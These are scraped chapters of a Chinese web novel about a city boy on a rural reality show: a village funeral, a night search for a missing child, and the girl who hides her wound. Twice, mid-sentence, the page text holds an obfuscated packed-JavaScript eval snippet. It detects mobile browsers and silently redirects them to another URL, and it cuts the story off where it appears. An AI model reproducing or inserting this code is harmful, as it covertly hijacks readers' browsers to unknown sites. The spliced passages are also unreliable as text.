想起那具尸体,他至今仍心有余悸。 祝婴宁也不摆大道理,只是慢悠悠开口道:“葬礼结束他们会请所有出殡的人吃饭,早上已经杀了一头猪了,还有人去山上猎了几只野兔。” “虽然我不认识这个逝者,但生死毕竟是所有人类都要面临的事,是大事,出于全人类共同的感情,我觉得我确实应该参加这趟出殡。”许思睿能屈能伸,当即改了口,说话速度快得宛如第二人格上身。 他一百八十度大转弯的态度让她感到又好气又好笑,最后还是好笑占了上风,但考虑到他们谈论的话题很严肃,就这样笑出来未免太不尊重逝者了,她还是努力憋了憋,嘴唇抿成一道直线,牙关紧咬,指甲抠进掌心里,费了好大劲儿才将这阵笑意压了下去,结果一抬头,站在她对面的许思睿竟然也一脸在辛苦憋笑的表情。 憋笑时最怕碰到的事就是和另一个同样在憋笑的人对上视线,本来没怎么想笑的,一对视,笑意就会悲催地乘以二,从一个人的想笑变成两个人的想笑。他俩一对视,得,瞬间破功,噗的一声,两个人都笑了出来。 太罪恶了。 祝婴宁一边笑一边想哭,可人有时就是这样,越是严肃不该笑的场合,越容易笑得停不下来。她笑得前仰后合,肠胃紧绞,活像被人点了笑穴。许思睿也不遑多让,捂着肚子,嘴里骂着脏话,眉毛拧成一团,看得出很想立刻停下来,但就是笑得像吃错了药。 怕被过路的人看到,她一边笑一边拖着许思睿躲到了门后,两个人跟神经病似的躲在门后笑成了一团。笑到最后,祝婴宁怒从心头起,往自己和许思睿的胳膊上分别扇了一掌,啪啪两声脆响,好不容易才把这阵笑潮扇灭。 他捂着被她瞬间扇红的胳膊,眼角的泪水也不知道是笑出来的还是疼出来的:“靠……祝婴宁你手也太黑了,你想把我扇死啊。” “严肃点儿。” 她一边说一边举起双手拍了拍自己的脸颊 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道路两旁摆满鞭炮,他们走到哪,鞭炮就放到哪,噼里啪啦,硝烟四起,跟古代大将军出征打仗一样。烟雾弥散山林,许思睿忍不住担心起这座山的安危。还好现在是夏天,湿度大,不然照这个放鞭炮的趋势,会不会起山火都难说。 他和祝婴宁一家都不属于逝者的亲戚,亲戚排在前头,他们这些外人则排在队伍最后面,和前面抬棺的人隔着十万八千里远。 这是他自逃跑失败那天后第一次上山。 这里的山路全靠前人一脚一脚踏出来,没有台阶,全是弯弯曲曲的沙路,一不留神就会打滑。许思睿走得小心翼翼,就怕又崴到脚。和他相反,前头抬棺的人明明身负重物,却依然健步如飞,长长的队伍很快拉出了不均匀的间距,越往后头,间距越大。 他看出祝婴宁也属于健步如飞的范畴,只不过顾虑着他,才没有一个人走到前面去。刘桂芳就没有这种顾虑了,携着几个好姐妹,一路走一路聊,甩开了他们十几米的距离。 “你要是想去前面可以去。” 他觉得走个山路还要别人特意放慢脚步等着他有点丢脸。 祝婴宁纳闷地看向他:“我去前面干嘛?” “……没事。” 许思睿发觉祝婴宁这种直板板的性格也有好处,比如现在,他感到丢脸她也看不出来,那不就相当于他其实没丢脸? 他被自己弱智的逻辑逗笑了。 又走了一段路,他渐渐产生了一种说不出来的熟悉感,但一时没反应过来,直到来到他曾经摔下去的那个陷阱旁,看到陷阱周围多了一块木板,上面用红色马克笔写着“小心陷阱”,他才发现这是他逃跑那天来过的地方。 那块牌子显然是后面才插上去的,许思睿对这个挖陷阱的人充满怨念,心想早不插晚不插,等他摔进去了才插,顶个屁用。 下葬的地方提前一天就挖好了坑,抬棺的人走到目的地,一齐喊着号子——嘿呀嘿呀,幺二幺二——同心协力将棺材抬了进去。 他们这些站的远的人帮不上忙,既不需要帮忙扶棺,也不需要像逝者的亲人那样,围在土坑旁恸哭着同逝者进行最后的告别。 他们只需要站着。 站着,沉默地围观一个凡人的死亡。 泥土一点一点吞没棺材,将它吃进山的胃袋,生长于大山的生命就此安息于大山。 魂归故里,生死同源。 31. 烦躁 祠堂是整个祝家村最“贵”的地方,由村民集资建成,捐款人和对应捐款金额清清楚楚地刻在门口的功德牌上。 来山里住了这么久,这是许思睿第一次走进这里。 祠堂内部比他想象的大多了,林林总总摆了二十来张桌子,能看出这些桌子多数是从附近村民家里拉来凑数的,外观各不相同,有圆桌,有方桌,有高有矮,有大有小。 现在每张桌子周围都坐满了人。 男人们单独坐几桌,女人带着小孩坐另外的桌子。前者烟雾缭绕,堪称二手烟聚集地,后者则充满小孩的尖叫和女人的呵斥。一个臭,一个吵。白烟滚滚,人声鼎沸,像要把祠堂的屋顶掀翻。 许思睿刚踏进去就想离开了。人群冲散了他和祝婴宁,他左顾右盼,四处寻找她的身影,想问她能不能帮他带点吃的回家——他实在不想留在这种环境里用餐。结果人还没找到,就被剧组的人一把拽了过去。 难得有酒有肉,剧组的人显然憋狠了,一个个活似出笼的野猴。 杨吉同村民们推杯换盏,喝得肥脸通红,像一只油腻烤乳猪。他勾着许思睿的肩膀,一开口,话音未出,嗝先跑了出来。酒精被肠胃捂热的气味混着口臭弥散开,许思睿脸一黑,想骂人又怕臭气进到嘴巴里,只好抿着唇角使劲将他一搡。然而躲开了他,还有其他工作人员前仆后继,大家都喝嗨了,搭着他的肩膀,拉着他的胳膊,一人一句语无伦次地吼: “都不许跑啊!都不许跑——” “难得今天高兴,喝喝喝!都给我喝!许思睿你也喝!” “干了这杯!干!不干就是不给我面子啊——” 参加别人的葬礼居然还说高兴,许思睿对这帮人无语了,撇头避开快要怼到自己唇上的酒杯:“……你们还有人记得我是未成年吗?” “未成年怎么了?”工作人员将眼一瞪,拿手指指着他,“你!就算是未成年,也得给我拿出个男人的样来,大老爷们别这么磨磨唧唧的……哦,不对,你不是男人。”他挥挥手,盯着他的裤|裆,忽而猥琐一笑,“毛都还没长齐,特么就是个小屁孩儿。” “……你脑残吧。” 许思睿对中年老男人低俗的黄色玩笑接受无能,一巴掌将他醉醺醺的猪脸扇开,手脚并用挣开他们,径直朝外头去了。 靠近祠堂的那几桌安静许多,起码没有神经病撒酒疯。许思睿犹豫了一会儿,不知道是直接离开,还是再找一找祝婴宁,正迟疑着,就见那几桌里伸出一条熟悉的细胳膊,向他挥了挥:“许思睿,这儿。” 他松了口气,朝她走过去,在她身边落座,落座时还不忘嘴贱吐槽:“你也太矮了,不举手我都看不到你……卧槽!什么玩意。” 才刚坐下,就有一团毛绒绒的东西拂过他裸露的脚踝。许思睿吓得差点窜起来,把腿迅速朝后一缩,低头看向地面,发现餐桌底下坐着一只狗。 黑狗。 他刚想问哪来的流浪狗,就见身旁的祝婴宁一边“嘬嘬嘬”一边朝餐桌底下扔了块骨头。 “……” 好吧,他知道是谁招惹来的了。 “别给它骨头了,赶紧让它走,这种狗脏得要死,一看就有跳蚤。”他偏开腿,不耐烦地指指点点。 祝婴宁没理他。 她又朝桌底下丢了块骨头,也不知道是手滑还是故意的,这次这块骨头竟然丢在了他脚边。流浪狗立刻转移方向,抽着鼻子朝他靠近。 “喂!”许思睿赶紧把腿抬起来,瞪向罪魁祸首,“你故意的吧?” “没有,我扔岔了。” “你就是故意的。” 这张餐桌上坐的基本都是年迈的女人,大家笑眯眯地看着他们进行没营养的对话。有个老婆婆主动开口道:“这小弟长得可真俊咧,跟咱这儿的人都不一样,你爹妈一定也是俊男美女。” 许思睿愣了愣,习惯性回了句:“谢谢。” 然后话题不知道为什么就拐到了他身上。 “你吃什么长这么高的啊,我孙子比你大,但就是长不高,你告诉我,回头我也让我孙子补补。” “你从小到大都没怎么晒太阳吧,瞧这皮肤白的,男娃娃还是得多晒太阳,晒黑晒瓷实了才好看。” “哎哟,你不懂,现在都流行这种白皮肤,我倒觉得白的更俊。” “你在外头是明星吧?就是电视上那种演戏的明星?” “小弟,你这么大个人难道怕狗啊?” 七嘴八舌。 许思睿没想到刚逃出劝酒局,又得应付老人们的八卦。还好祝婴宁及时替他解了围,朝大家笑了笑,招呼道:“再聊菜都凉了,先吃菜吧。” “欸欸,对,吃,都吃,小弟你也多吃点。” 菜是村民自己炒的,农家菜,精细度比不过饭店,但胜在入味。油润润一口咬下去,咸香扑鼻。许思睿接过大家递来的碗,美滋滋吃到一半才想起自己过来是想让祝婴宁给自己打包带回去的。算了……反正吃都吃了。他盯着手里豁了口的碗,以及坐在自己脚边等待投食的流浪狗,发现自己对恶劣条件的接受能力有了质的飞跃,易满足程度也变得越来越低了,也不知道是好事还是坏事。 中途有个女人抱着小孩过来,用方言问:“你们瞧见澄澄了吗?” 许思睿压根不认识这个人,老太太们也都说没看见,只有祝婴宁咽下嘴里的饭,说:“出殡的时候我看见他了,他和刚子一块在山包那边摘狗尾巴草。” “哦,那我去问问刚子。”女人颠了颠怀里的婴儿,朝许思睿笑道,“吃得惯吗?” 他点点头。 “那就好,我们这也没什么好招待的,就只杀了一头猪,你吃得惯就好。” 等她走了,许思睿才低声问祝婴宁:“谁啊她?一副主人的口吻。” 祝婴宁露出无奈的神情:“她是逝者的孙媳妇,你吃的饭就是她带头料理的。许思睿,整个村你是不是就只记住了我和我阿妈啊?” 许思睿被饭粒呛了一下。村里人不多,但他看人自带马赛克,除了祝婴宁和刘桂芳这种不得不频繁接触的人,其余的他一个都不认识,连那个所谓的萍姐,时间一久,他也记不清她的长相了。 吃完饭,大家陆陆续续离开,三两成堆去做自己的事。 刘桂芳去邻村和好姐妹们打麻将,祝婴宁去祠堂后厨帮忙收拾碗筷,许思睿没事干,索性回屋里洗澡。 天气热了以后,他洗澡的速度越来越慢,恨不得拿把猪鬃从上到下把自己涮得干干净净。现在没人,难得清闲,他索性彻底放开手脚,在里头磨蹭了四十分钟,把自己搓得溜光水滑才出来。 初夏夜晚的风温凉惬意,许思睿站在房门外,一边擦头发一边眺望着底下的村落。 村口那聚着很多人,火把和手电筒的光交相辉映。 他只当是葬礼的收尾仪式,看了一会儿就进屋了。 结果前脚刚踏进去,后脚祝婴宁就冲了进来,动作很大地拉开储物柜,埋头翻找起来。 “怎么了?”许思睿随口问,“你找什么这么着急?” “手电筒。”她没看他,把柜子里的东西一件件粗暴地扔出来,直到翻出了压在箱底的手电筒,才吁出口气,“有个孩子失踪了,我得帮忙找人,我阿妈要是回来了你跟她说一声,让她不用担心我,我找到人了就回来。” 许思睿愣了愣:“是那个叫澄澄的?” “对。” 他不能理解她为什么这么急:“他可能跟我一样在山里迷路了吧,你也不用这么紧张,我那时失踪了一整天不也没事么。” 她飞快地摇了摇头:“不,你跟他不一样,淹死的都是会水的,在山里出事的都是不怕山的,你一看就胆小如鼠,他胆子可比你大多了,很危险。” “……?” 操,什么叫他胆小如鼠?! 许思睿差点被气笑。他没想到她不损人则已,一损起人来嘴巴居然这么毒。更蛋|疼的是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543204|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不是主观想损他,只是在客观陈述她认知里的事实,说完这句话后她就风风火火地离开了,只剩他一个人站在原地凌乱。 她离开时是九点半,刘桂芳回来则是一个小时后的事了。 他按祝婴宁嘱咐的那样和她说明了情况,闻言刘桂芳哦哦了两声,表情很平静:“知道了。” 十点半早就到了许思睿睡觉的时间——他在城里的作息当然没有这么健康,但深山里奉行日出而作日落而息,在这住了一段时间,他的生物钟变得非常符合自然规律,一过十点就会准时犯困,能撑到十点半纯粹是为了向刘桂芳交代祝婴宁的行踪。 临睡前他去外头瞧了瞧,发现村口依然灯火通明,和他们这边的黑暗形成了鲜明的对比。 摄制组的人早就睡下了,和一个多月前全组出动寻找他的情况不同,这次没有任何一个剧组的人帮忙找人。 看起来很淡漠,但许思睿不是不能理解他们的做法。他自己不也待在屋里,完全没想过要去帮忙么? 大城市生活节奏快,人口流动率高,人与人之间的联系不像村里这般紧密。他很难和陌生人缔结深刻的关系,也很难在没有深刻关系的前提下对一个陌生人的失踪产生类似担忧的情绪。没有担忧,帮忙自然也无从谈起。 杨吉等人显然也是如此,甚至比他更进一步。摄制组说穿了就是一帮商人,以利益为导向,在没有殃及到自己利益的情况下,他们只会高高挂起。 有时许思睿觉得祝婴宁说“山里人更淳朴”,这句话也不全然是错。起码在人与人的连接上,他们确实比村里人冷漠得多。 又看了一会儿热闹,最终他还是转身回到了屋里。 里头刘桂芳已经躺下了。不知道是不是打麻将输了钱的缘故,她看起来心情不是很好,连澡都没洗就草草睡下了,许思睿进去时甚至听到她在打鼾。 他关掉书桌上的小灯泡,爬到炕上,闭眼睡觉。 ** 按照已经被深山生活驯化得服服帖帖的生物钟,这一晚许思睿本该一觉睡到天明。 所谓“本该”,也就是这次出了点意外。 睡到半夜,他被尿憋醒了。 他有睡前上厕所的习惯,怕的就是睡着睡着忽然起夜,影响后半夜的睡眠质量。醒来以后他才后知后觉今晚睡前忘了上厕所。 醒都醒了,他下意识看了眼三八线那头,发现祝婴宁的位置依然空着。 她没回来。 又看了眼手表,三点零二分。 他吓了一跳,以为现在最多也就零点,没想到都这么晚了。 再看一眼刘桂芳,她背对他侧躺着,睡得酣甜。许思睿有点摸不着头脑。他记得祝婴宁跟他提起过好几次“我得早点回家,回去晚了阿妈会担心的”之类的话,导致他一直有种模糊的印象,觉得刘桂芳是一个非常担心女儿安危的人。可是从昨晚到现在,她的反应都堪称稀松平常,和“担心”完全不沾边。 怎么回事,难道祝婴宁经常大半夜不睡觉去找人,刘桂芳早就习惯了吗? 他纳闷地滑下床,趿上拖鞋,先去厕所放了放水。 解决完三急以后踱步到外头,打眼一瞧,村头依然灯火辉映,虽然火光总体少了一些,可仍有不少人等在那里。 而那些人里没有祝婴宁。 也是,她怎么可能在等人的行列,按照她那种活佛性子,肯定是要主动出击去找人的。说不定还会主动提出兵分多路,以此增加找到人的机会。 说不出缘由的,他忽然觉得有点烦躁。 她说在山里出事的都是不怕山的,那个什么澄澄不怕山,所以她担心他,那……她呢? 她肯定也不怕山吧。 这人好好的跟他立什么flag,不知道很多人都是莫名其妙被自己的无心之言咒死的吗……许思睿越想越烦,越烦越克制不住去想。他在屋门外傻站了片刻,纠结来纠结去,最终还是叹了口气,把拖鞋换成球鞋,朝村口走了过去。 32. 伤口 许思睿在祝家村本就是个稀奇的存在,再加上村口的人等了一整晚,担心之余,难免感到无聊,因此他一走过来,无聊的大伙便不约而同看向了他,像饿肚子的蚂蚁看到了一块甜食。 “小弟,怎么还没睡啊?”有个吃饭时和他坐同张桌的老婆婆自来熟地招呼他。 许思睿不知道该怎么说。 好在对方也没想着要他回答,自顾自拍了拍身旁的藤椅:“来来来,来坐。他们找人的回来过一波,又出去了。我们在家里干等着也是着急,还不如大家一起在这等,聊聊天,解解闷。” 藤椅泛着热气,显然不久前才被别人坐过,他刚坐下就立刻弹了起来:“你们坐吧,我不用了。” “哎哟,你这孩子还真客气。” 许思睿嘴角抽了抽。他不是客气,单纯只是觉得坐残余别人体温的椅子很恶心。不过真相不必告知对方,他将话题一转,问:“你刚刚说他们回来过,那……” “你问宁宁啊?”话还没说完,老婆婆便露出了然的神色,接过他的话头,“她也回来了,又出去了。” 虽然被对方直白地看出他想问的是祝婴宁让他有些尴尬,不过听完她的回答,他还是放心了不少。 回来过就证明她有分寸吧? 转念一想,他一个走山路都能掉陷阱里的人,居然担心起她这种山区原住民,许思睿觉得还挺搞笑的。 他没有和众人待在一起,打听完就走了,独自走到之前抽烟蹲的那个石墩子上,往上面一猫,开始了等待。 也是他来得巧,才蹲了十几分钟,就听不远处的人群喧闹起来,大家七嘴八舌地喊: “找到了找到了——人找到了!他们回来了!” “过来帮忙,快快快,来扶一下!” “造孽呀,摔得这么狠……” 他跳下石墩子,原地蹦了蹦,活动了一下酸涩的筋骨,顺着声音看过去,只见祝婴宁背着个小男孩朝村里走来,两旁熙熙攘攘护着一大群人。 小男孩裸露的胳膊腿上全是擦伤,伤口不深,但数量多,看起来还挺唬人的。 这个场景怎么看怎么眼熟,许思睿想起自己崴伤脚还厚着脸皮让她背回来那次,顿时有些羞耻。再加上确认了她没事,那种主动关心别人又生怕对方发现的别扭劲儿就起来了,他抿抿唇,没有像其他人那样激动地围上去,反而退后几步,原路折返回了屋里。 透过窗户,他看到祝婴宁把小男孩放了下来,交到他的家人——也就是吃席时来他们这打听过孩子下落的女人手里,同她比比划划交代了一番话,这才在女人的千恩万谢中转身走向了这边。 眼看她越走越近,许思睿赶紧把球鞋换成拖鞋,又抓了抓头发,把头发抓乱了,装出刚睡醒的惺忪,假模假样拉开了门。 祝婴宁走到离家门口七八步远的地方,看到他,一愣:“你还没睡啊?” “我睡过了,起来上个厕所。” “哦。” 她点点头,侧过身子给他让道。 没办法,话是他自己说的,许思睿只好又装模作样地去了趟厕所。 他刚上过厕所,完全没有尿意,站在里面闻了半分钟臭味,才走出去,蹲到屋后洗了洗手,觉得自己跟个傻子一样。 路过厨房时,他朝里面瞥了瞥,看到祝婴宁站在炉灶边,同样无所事事地看着他。 “你在厨房里站着干嘛,不去睡?”他随口问。 她朝身旁看了一圈,捧起放在灶台上的水杯,不太自然地笑道:“……我来这喝点水。” 炉灶里空空如也,许思睿挑了挑眉:“喝水干嘛不烧火?” “凉水。”她赶紧说,“我想喝凉水。”说完还小幅度扯了扯衣领,“背个人回来还挺热的。” “那小孩没事吧?” “没事,就是贪玩,爬到一块岩石上,结果摔夹缝里去了。” “哦。” 尬聊结束,许思睿看着她,想再说点什么,但硬是一句话都憋不出来,只好说:“那我先回去睡觉了。” “好。”她朝他挥挥手。 走回屋里,许思睿刚想蹬掉鞋躺下,想了想,又觉得哪里不对。 站在原地想了半天,才发觉是他们对话的气氛不对。 无比生硬,像两个机器人。 他机器人是因为装成刚睡醒,心虚,她又为什么这么机器人? 出于一种说不清的直觉,许思睿没上床,他沉思半晌,转身又朝厨房去了,这回刻意放轻了脚步声,鬼鬼祟祟靠近门口,没让任何人发现。 厨房里很安静,他站在门口等了一会儿,才听到布料摩擦产生的窸窸窣窣的声音,紧接着是一道轻轻的抽气声,以及刀具碰撞的脆响。 ……她在干什么?不会在换衣服吧? 可厨房里又没干净衣服可以替换,她为什么不换个地方换衣服?抽气声和刀具的声音又是怎么回事?许思睿在看和不看间纠结了一下,担心看到什么不该看的,然而不看吧,他心里又好奇得抓心挠肝。 做了一番心理斗争,最终还是好奇占了上风。他深吸一口气,慢慢把头探了过去。 然后—— 直接和面朝厨房门口的祝婴宁对上了视线。 “……” “……” 她左手拉开了右肩的衣服,右手握着一把剪刀,看到他,大吃一惊,慌慌张张将右肩偏向了他的视线盲区里。 偷窥被抓包本该感到心虚,但她奇怪的反应成功驱散了许思睿心里那点理亏。他狐疑地眯起眼睛,朝里面走了两步,面不改色道:“我突然发现我也想喝水。” “啊?啊……” 她应得极其心虚,慢慢根据他的步伐调整身体的朝向,目光在灶台上胡乱扫来扫去,扫到一个空碗,于是当即用左手抓起来,尬笑两声,小心翼翼地说,“这里有碗,你要拿去用吗?” 他没说话,也没接碗,心里狐疑愈甚,站在原地盯着她瞧了会,趁她不注意,猛然大步向前,直接伸手掰住了她的左肩。 “等……” 祝婴宁还想再挣扎一下,结果连句“等等”都还没来得及说完,就被许思睿扣着肩膀一百八十度翻了个身。 接着她听到他在她身后倒吸了口凉气。 “我操。”他低声骂了句脏话,问,“你怎么搞的?” 事已至此,再瞒下去也没意思了,她蔫头耷脑,沉 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足足冷场了两分钟,她才举起剪刀,弱弱地说:“那个……许思睿,你再不放开我,我的血就要干了,伤口会和衣服黏得更紧。” “……” 他这才发现自己的手还抓在她没受伤的那边肩膀上,而如她所言,后半截伤口已经和衣服连黏在了一起,于是只好先松手放开她。 她如释重负,挪了几步,借着窗外的月光,偏头用剪刀裁剪起肩上布料。 按照常理,许思睿应该上去帮忙——但凡他还有点良心。可不知道为什么,他肺里窝着一团无名火,就是不想理她。 而祝婴宁也完全没有要找他帮忙的意思。她干脆利落地剪开肩膀后的衣服,用手指一点点撕开与伤口粘连的布料,直到整片伤口完整地暴露出来,才弯腰从柜子里取出一罐止血粉,拧开盖子,舀出一勺,小心翼翼抖在伤口上。 敷草药。 贴纱布。 整个过程行云流水,没有任何多余的动作。 别说鬼哭狼嚎了,她连眉毛都没有皱一皱。 许思睿靠坐在灶台上,抱着胳膊冷眼旁观,越看越火大。可要问他为什么生气,他自己其实也说不明白,就是觉得看她哪哪都不顺眼。 最后他气得受不了,哼了一声,鼻子不是鼻子眼睛不是眼睛地离开了,弄得祝婴宁一头雾水。 ** 躺到床上过了好一会儿,他才感受到三八线另一侧的人躺下的动静。 怕压到伤口,她没有选择仰躺的姿势,而是胸口朝下趴在了床上。 黑夜寂寂,只有刘桂芳婆媳俩浅浅的呼噜声此起彼伏,像某种永恒不变的白噪音,她听着听着就觉得眼皮沉重起来,正要阖上眼睛,由衣服堆构成的三八线忽然凭空长出一根手指。祝婴宁愣了愣,睁开眼皮定睛一看,才发现是许思睿用食指把衣服顶开了,露出一道细缝,细缝里是他形状美丽的眼睛。 透过细缝,他沉默地盯着她看,她也盯着他看。 大眼瞪小眼,瞪了好半天,就在她想问他怎么了时,他终于开口了:“是你写的吧?” “什么?”她没听懂。 “小心陷阱那块牌子。” 33. 奴仆 其实问出这个问题之前,许思睿并没有类似的猜想,因为那块牌子上的字和她的字完全不同。她的字和刚开始练写字的小学生一样,笔画端正,横平竖直,牌子上的字笔画则歪歪扭扭颤颤巍巍,像一群打结的蚯蚓。 只是今晚的事忽然让他开始相信—— 也许世界上并不只存在他以前的校长那种拿善意来营销的人。 也许真的就是有祝婴宁这样的人,如同旧时代抛掷到二十一世纪的遗物,忠诚践行她的君子之道,将那套古老板正且略显傻气的“做好事不留名”奉为圭臬。如果她受了伤却完全没想着要让男孩父母赔偿,也没想过以此邀功,那么她照顾着他的自尊,假装不知道他掉进陷阱的事,悄悄用和平时不同的字迹写了一块提醒他人的牌子,似乎也在情理之中。 反正她就是这样爱管闲事的人不是么? 听完他的问题,她果然轻轻啊了一声,看着他的眼睛,没承认也没否认。 “你用左手写的?”他问。 这回她轻声笑了笑,承认道:“我还以为用左手写你就认不出是我的字了。” “确实认不出来。”他不客气地评价,“本来字就丑,用左手写更丑了,我还以为是哪个小学没毕业的大爷写的。” “……” 她脸上的笑瞬间没了,剜他一眼,伸出手指,啪的一下,将衣服堆里的缝隙像关窗那样关上了。 许思睿自己倒是乐不可支地笑了半天。 ** 虽然这天晚上折腾到很晚,身上也带着伤,但听到鸡打鸣的声音,祝婴宁还是准时按照生物钟醒了过来。 她只睡了一个多小时,头晕,眼皮也沉,用一个类似平板支撑的动作翻起身后,木着脸颊坐在被子里发了会呆。 一直待到头没那么晕了,她才滑下床,发现地面没有许思睿的拖鞋,往右一瞧,他的床位也空了。 太阳打西边出来了? 虽然他俩是同时出门上学的,但她早上需要做饭顺带喂猪喂鸡,一般都起得比他早。 祝婴宁没多想,只当他是昨晚起夜以后睡不踏实才早起的。 走出家门一看,许思睿不出所料蹲在外头刷牙。她取了自己的杯子,顺势蹲到他旁边。 在自我清洁上,许思睿一向很讲究,洗手要按照七步洗手法严格执行,刷牙也要里里外外刷上半天。祝婴宁没他那么讲究,她刷牙很快,这个快不单指时间短,还体现在刷牙频率上。2010年,电动牙刷尚未普及,不然许思睿一定会震惊于她能用人手刷出电动牙刷的频率还不牙龈出血。 快速解决完战斗,她又囫囵洗了把脸,脸上水珠都还没擦干就转身往厨房去了。 正要蹲下点火,许思睿就晃了过来,站在她身后清了清嗓子。 祝婴宁以为他渴了,头也没回地说:“我在烧水。” “……” 他发现自己也许很难用含蓄的表达方式让她自行意会到他的潜在意思,只好伸出手,明说道,“给我吧。” “给你什么?” “打火机。” 她还是没懂他想做什么,满脸疑惑,不过依然听话地将打火机交到了他手里。 许思睿用眼神示意她让开,自己代替她蹲到了炉灶前,对准靠近炉灶的一根粗木棍,咔擦一声,按开了打火机。 动作很帅,但是…… 没点着。 他移动打火机,接连换了几个位置,拇指都快被火苗燎到了,那块木柴依然毫发无损。 他脸上有点挂不住,努力维持住平静的表情,左手在炉灶里扒拉片刻,挑出一块短小点的木柴,对准尖角再次按开打火机。 火焰在木柴上舔了半天,依然无事发生。 祝婴宁总算看懂他要干嘛了,在他身后轻声笑了起来。 她的笑很浅,很淡,没有任何嘲笑的意味,但许思睿的脸颊还是不受控制涨红了,忍了又忍,回头丢给她一个忿忿的眼神,恼羞成怒地问:“你笑什么?” “没什么。” 她慢悠悠收回笑容,倾身上前,从炉灶里捡出一片上次生火时没烧干净的纸板,轻声说,“先点这个吧。” 许思睿依言照做了。 纸板很快烧了起来,以肉眼可见的速度被火焰寸寸蚕食,他捏着纸板一角,按照她的提示,将纸板扔进了木棍堆里。 这回火星明明灭灭,总算成功攀附上了柴火。 许思睿不自觉松了口气,然而口中这股气流尚未完全吹出,面前就多了一只手,她伸手挡在他唇前,提醒他:“别吹太大力,火还没彻底烧起来,小心把它吹灭了。” 祝婴宁手指和手掌的连接处覆有薄茧,不同于城里有钱人细皮嫩肉的手,这双手完全是劳动人民的手。那些茧子质感微微粗糙,有如用钝的刮刀,由于动作快,没掌握好距离,手心在他唇上不经意地擦了一下。 像被细细的电流击打到一样,他的腰椎忽的一麻。 她完全没留意到这个小插曲,见他不动了,淡定地将手收回来,拾起灶台上的管子,说:“可以先拿这根管子对着火苗轻轻吹气。” “啊?”许思睿慢半拍回过神。 见他一脸迷茫,她只好又重复了一遍。 他这才轻轻地哦了一声,抿了抿唇,接过她手里的管子,按她说的试了一下。 火苗果然越燃越旺。 等火烧得差不多了,许思睿直起身,笨手笨脚架起汤锅,开始蒸包子。 关于蒸包子应该放多少水,该垫什么尺寸的蒸架,以及该等多长时间,他一概不知,祝婴宁只好站在旁边指导他。 等把包子蒸上了,又得着手准备猪食和鸡食。 刚来这里时他喂过一次牲畜,准备起来倒不费劲,只是提着桶子走去猪棚喂猪时,许思睿难以避免怀疑了一下人生。 明明第一次喂完牲畜后,他就发誓这辈子绝不会再踏进猪棚和鸡窝半步,就算有人拿刀架在他脖子上他也不干,连杨吉这种见识过无数纨绔子弟的人都觉得他懒得无可救药,放弃了劝他从良的想法。结果现在,在没有任何人逼他的情况下,他居然主动提着猪食要进去喂猪。 ……他真的没病吗? 转身看到祝婴宁一脸感动的神情,他不由自主打了个寒战,在她发出诸如“许思睿,我就知道你果然是个好人”的感慨之前打断她:“打住,你别说话。” “为什么?” “没有为什么,反正你不许夸我。”他瞪了她一眼,“我帮你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543206|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是暂时的,是我脑子抽了,等你伤好了,我才懒得管你。” “哦。” 她眨了眨眼。 ** 许思睿并不知道有些事情有一就有二,有二就有三,直到连续干了一周的家务活,他才猛然想起很久以前许正康的敦敦教诲。 在没钱请保姆——也就是公司尚未起步前,他们家的家务一直由许正康负责。 那时许思睿才五岁,许正康经常半真半假同他发牢骚,说他当初和周天澜新婚那会儿,为了给丈母娘留下好印象,总是抢着做家务:“抢着抢着,完了,这辈子的家务活都被我包圆了。开局定生死啊,许思睿,你记着,以后千万不能对女人太好了。”然后周天澜就会笑得花枝乱颤,捶打他的胳膊,作势要去捏他的嘴。 许思睿理所当然把这当成父母之间的调情,直到他连续一周早起做饭喂猪,喂到形成了一种听到猪叫就知道猪是饿了还是渴了的条件反射,他才恍然意识到,许正康那番开局定生死的话可以拓展到任何关系中。 比如现在,他看起来就很像祝婴宁的奴仆。 当然,她不会像万恶的奴隶主那样,用言语或行动狠狠压榨他奴役他,但许思睿觉得祝婴宁比奴隶主更可恨,因为她总会恰如其分地在他累个半死,决定明天一定要罢工的时候,非常真诚地盯着他的眼睛蹦出一句:“许思睿,今天真的很谢谢你。” 然后出于一种莫名其妙的压力和愧疚,想要罢工的话就说不出口了。 几天下来,杨吉对他的转变涕泗横流:“难以置信,难以置信啊,我们这综艺录了四五期,你总算有了点人样。” “……” 为了表彰他的人样,同时也是因为周天澜寄来的学习资料已经到了邮局,需要人去取,杨吉给他拨了二十块钱零用钱,让他周末去趟镇上。 二十块钱,放在以前就是掉在路边许思睿都不屑于弯腰捡起来,但现在二十块在他眼里无疑堪称巨款。 揣着这笔“巨款”,他和两位摄影师再次坐上了去镇上的牛车。 一回生二回熟,这次来镇上,许思睿提前做好了规划,打算拿这笔钱去发廊剪头发。 他头发长长了不少,尤其是刘海,时不时戳一下眼睛,还挺难受的。 到达目的地以后,祝婴宁照例把牛车拴好,摄影师对他们千叮咛万嘱咐,让他们千万别再玩失踪了。 “上次来镇上什么素材都没拍到,这次要还没拍到,你俩要赔违约金的。” 一听要赔违约金,祝婴宁立刻点头如捣蒜,举着右手发誓绝不乱跑。 说完话,正要往发廊去,前方的街道便传来了一阵奇特的铃声。 古老悠扬。 